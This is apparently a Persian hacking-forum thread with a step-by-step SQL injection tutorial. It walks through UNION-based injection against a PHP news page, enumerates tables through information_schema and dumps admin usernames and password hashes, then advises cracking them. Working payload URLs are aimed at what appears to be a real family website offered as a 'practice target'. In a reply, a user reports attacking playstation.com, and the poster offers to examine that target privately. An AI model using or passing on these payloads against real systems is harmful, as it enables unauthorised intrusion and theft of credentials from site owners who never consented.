vortex team 1,240 ارسال شده در 13 بهمن 1398 آموزش باگ SQL injection با عرض سلام و درود خدمت کاربران vortex-team.org مراحل تست نفوذ Sql Injection تست آسیب پذیر بودن وب سایت یافتن تعداد ستونهای جدول یافتن ستون آسیب پذیر یافتن نام جداول دیتابیس استخراج اطلاعات از جدول انتخاب شده 1- تست آسیب پذیر بودن وب سایت: برای تست این آسیب پذیری از تک کوتیشن ( ' ) استفاده میکنیم که در جواب، اگر از طرف وب سایت تارگت، با ارور mysql() مواجه شدیم پس میتوانیم بگوییم که وب سایت اسیب پذیر است. https://site.org/news_more.php?id=23' توجه داشته باشید درصورتی که با صفحه بدون مشکل بالا اومد از این کاراکتر ها هم استفاده بکنید. ' " ; : / %27 دقت کنید که کلیه موارد زیر به این معناست که آن صفحه به احتمال زیاد دارای باگ SQL Injection است. نمایش ارور ناقص لو شدن سایت بالا نیومدن کامل سایت نمایش داده نشدن عکس یا متن حتی تغیر یافتن زبان (دیده شده یسری از سایتا مثلا به زبان روسیه با استفاده از کتیشن ' زبان سایت تبدیل به انگلیسی میشه اینم یعنی سایت باگ sql داره) نمونه مثالی از نمایش ارور: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home1/interali/public_html/news.php on line 71 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\' LIMIT 0, 10' at line 1 Fatal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /home2/rakum0091/public_html/news_more.php:94 Stack trace: #0 {main} thrown in /home2/rakum0091/public_html/news_more.php صفحه زیر یک تارگت برای تست است: 2- یافتن تعداد ستونهای جدول: در این مرحله برای پیدا کردن تعداد ستون سایت از دستور order by استفاده میکنیم. روش استفاده از این دستور مانند زیر است: https://site.org/news_more.php?id=23+order+by+99-- در دستورات فوق از + به جای فاصله و از -- برای اعلام پایان دستورات استفاده میشود، عددی که در انتهای دستورات وجود دارد تعداد ستونهای جدول است. تعداد ستون جدول در صورتی درست است که صفحه بدون خطا و به صورت کامل لود شود. معمولا کار تست را از از عدد بزرگی شروع و در هر مرحله به نصف کاهش میدهیم تا تعداد ستونها را بتوان یافت.توجه: من عدد 99 رو نوشتم چون میدونم این تعداد ستون وجود نداره و تا زمانی که صفحه کامل لود بشه عدد رو پاین میاریم نکته: اگر زمانی دیدین باز صفحه بدون خطا بالا اومد از کتیشن ' استفاده کنید اگر باز بالا اومد از منفی - پشت عدد استفاده بکنید و اگر باز بالا اومد یه مثبت + به اخر دستور اضافه کنید. 1- https://site.org/news_more.php?id=23'+order+by+99-- 2- https://site.org/news_more.php?id=-23'+order+by+99-- 3- https://site.org/news_more.php?id=-23'+order+by+99--+ در مثال زیر با وارد کردن عدد 4 ارور نشون میده: ولی با عدد 3 هیچ مشکلی ندارد. پس تعداد ستون ما 3 تا هست: 3- پیدا کردن ستون های اسیب پذیر: در این مرحله برای پیدا کردن ستون اسیب پذیر سایت از دستور union select استفاده میکنیم. روش استفاده از این دستور مانند زیر است: https://site.org/news_more.php?id=23+union+select+1,2,3,4-- توجه: وقتی از بایپس ها استفاده میکنیم باید تا اخر بهشون دست نزنیم اگر تغیر یا حذف کنید ستون های اسیب پذیرو نشون داده نمیشه: یک نمونه از اجرای دستور union select به همراه بایپس: همان تور که در تصویر بالا مشاهده میکنید ستون 2 و 3 ستون های اسیب پذیر ما است:نکته: در عملیات تست نفوذ SQL Injection باید بسیار هوشمند باشید چون گاهی ممکن است این اعداد. در میان متن یا تاریخ یا در آدرس عکسها ایجاد شوند. از دستور version() برای فهمیدن ورژن دیتابیس و از دستور database() برای فهمیدن نام دیتابیس استفاده کرد. روش استفاده از این دستور مانند زیر است: https://site.org/news_more.php?id=23+union+select+1,2,version(),4+database()-- یک نمونه از اجرای دستور version() و دستور database() : 4- یافتن نام جداول دیتابیس: برای یافتن نام جداول کافی است به جای شماره ستون آسیب پذیر از group_concat(table_name) و دستور +from+information_schema.tables+where+table_schema=database()-- استفاده کنید. روش استفاده از این دستور مانند زیر است: https://site.org/news_more.php?id=23+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()-- توجه: اگر زمانی دیدین فقط یک ستون آسیب پذیر وجود داره دستور رو به شکل زیر استفاده بکنید. مثلا: اگر ستون 3 اسیب پذیر باشه به روش 1 عمل کنید اگر ستون 4 آسیب پذیر هست به روش 2 عمل کنید 1- https://site.org/news_more.php?id=23+union+select+1,2,group_concat(table_name),4+from+information_schema.tables+where+table_schema=database()-- 1- https://site.org/news_more.php?id=23+union+select+1,2,3+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()-- یک نمونه از اجرای دستور بالا : http://tholanikunnelfamily.com/news_more.php?id=-2%27+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--+ همانطور که میبینید نام جداول پایگاه داده سایت استخراج شدند. حال باید نام جدول مهم رو انتخاب کنیم که در بالا جدول مهم ما ku_admin هست جداول مهم هنگام نفوذ به سایت: admin administrator user users username pass password name id نکته: توجه کنید که من بصورت الویت بندی شده نوشتم فرقیم نداره قبل یا بعد این نام ها نوشته شده باشه مثل این جدول ku_admin بدست آوردن اطلاعات موجود در جداول پایگاه داده:در بخش قبلی ما جدول ku_admin رو انتخاب کردیم که برای استخراج اطلاعات اون از دستور زیر استفاده میکنیم. گر این دستور را به صورت group_concat(column_name) ویرایش کنیم و به جای information_schema.tables از information_schema.columns و به جای table_schema از table_name استفاده کنیم و مقدار database() را با نام هگزادسیمال جدول مورد نظر جایگذاری کنیم، میتوانیم نام ستونهای این جدول را استخراج کنیم. یک مثال از دستورات بالا : که ستون شماره 4 آسیب پذیر است و نام جدول هدف ما admin است: https://site.orghttp://site.com/view-news.php?id=-10+union+select+1,2,group_concat(column_name),4+from+information_schema.columns+where+table_name=0x61646d696e--+ توجه: در قسمت 0x61646d696e همیشه قبل هگز یه 0x قرار میدیم: یک نمونه مثال بروی تارگت تمیرینی : نام جدول ما ku_admin تبدیلش میکنیم به هگز میشه 6b755f61646d696e : http://tholanikunnelfamily.com/news_more.php?id=-2'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name=0x6b755f61646d696e--+ 5- مرحله استخراج اطلاعات سایت: در این مرحله ما یوزر و پسورد مدیر سایت رو استخراج میکنیم: عبارات داخل پرانتز group_concat را با نام ستونهای مورد نظر خود جایگذاری میکنیم کدهای بعد از from را نیز پاک کرده و نام جدول مورد نظر را بدون این که هگز کنیم تایپ میکنیم: از 0x3a استفاده می کنیم تا نتایج با : جدا شوند (0x3a معادل هگز : است) یک نمونه از اجرای دستور بالا: https://site.orghttp://site.com/view-news.php?id=-10+union+select+1,2,group_concat(username,0x3a,password),4+from+admin--+ یک نمونه مثال بروی تارگت تمیرینی : http://tholanikunnelfamily.com/news_more.php?id=-2%27+union+select+1,2,group_concat(username,0x3a,password)+from+ku_admin--+ نکته اول: توجه داشته باشید که پسورد های که بدست میارید بصورت هش هست و نمیشه استفاده کرد باید کرک کنید. برای کرک میتوان از سایت های انلاین یا از نرم افزار و اسکریپت ها استفاده کرد. نکته دوم: برای هگز کردن از سایت زیر استفاده بکنید. Please login or register to see this link. از قسمت تارگت های تمرینی میتوانید برای یادگیری استفاده بکنید. هرجای آموزش به مشکلی برخورد کردین زیر همین پست اطلاع بدین و اینکه ما هر 10 روز یک دوره رایگان آموزش تست نفوذ بصورت مبتدی در تلگرام برگزار میکنیم که میتوانید شرکت کنید. به اشتراک گذاری این ارسال لینک به ارسال به اشتراک گذاری در سایت های دیگر
nima709 1 ارسال شده در 24 بهمن 1398 سلام خدمت گروه گرداب من تو یافتن تعداد ستونهای جدول مشکل دارم برای سایت پلستیشن سونی من مرحله اول رو انجام دادم درست بود اما مرحله دوم این نوشته میاد چرا Access Denied You don't have permission to access "http://www.playstation.com/news_more.php?" on this server. Reference #18.7337b9d0.1581632124.4b52f168 کلا همین نوشته روی کل صفحه هست ممنون میشم جوابمو بدین با تشکر از گروه گرداب به اشتراک گذاری این ارسال لینک به ارسال به اشتراک گذاری در سایت های دیگر
vortex team 1,240 ارسال شده در 2 اسفند 1398 سلام ادرس محل اسیب پذیری تارگت رو برای بنده با پیام ارسال کنید برسی کنم به اشتراک گذاری این ارسال لینک به ارسال به اشتراک گذاری در سایت های دیگر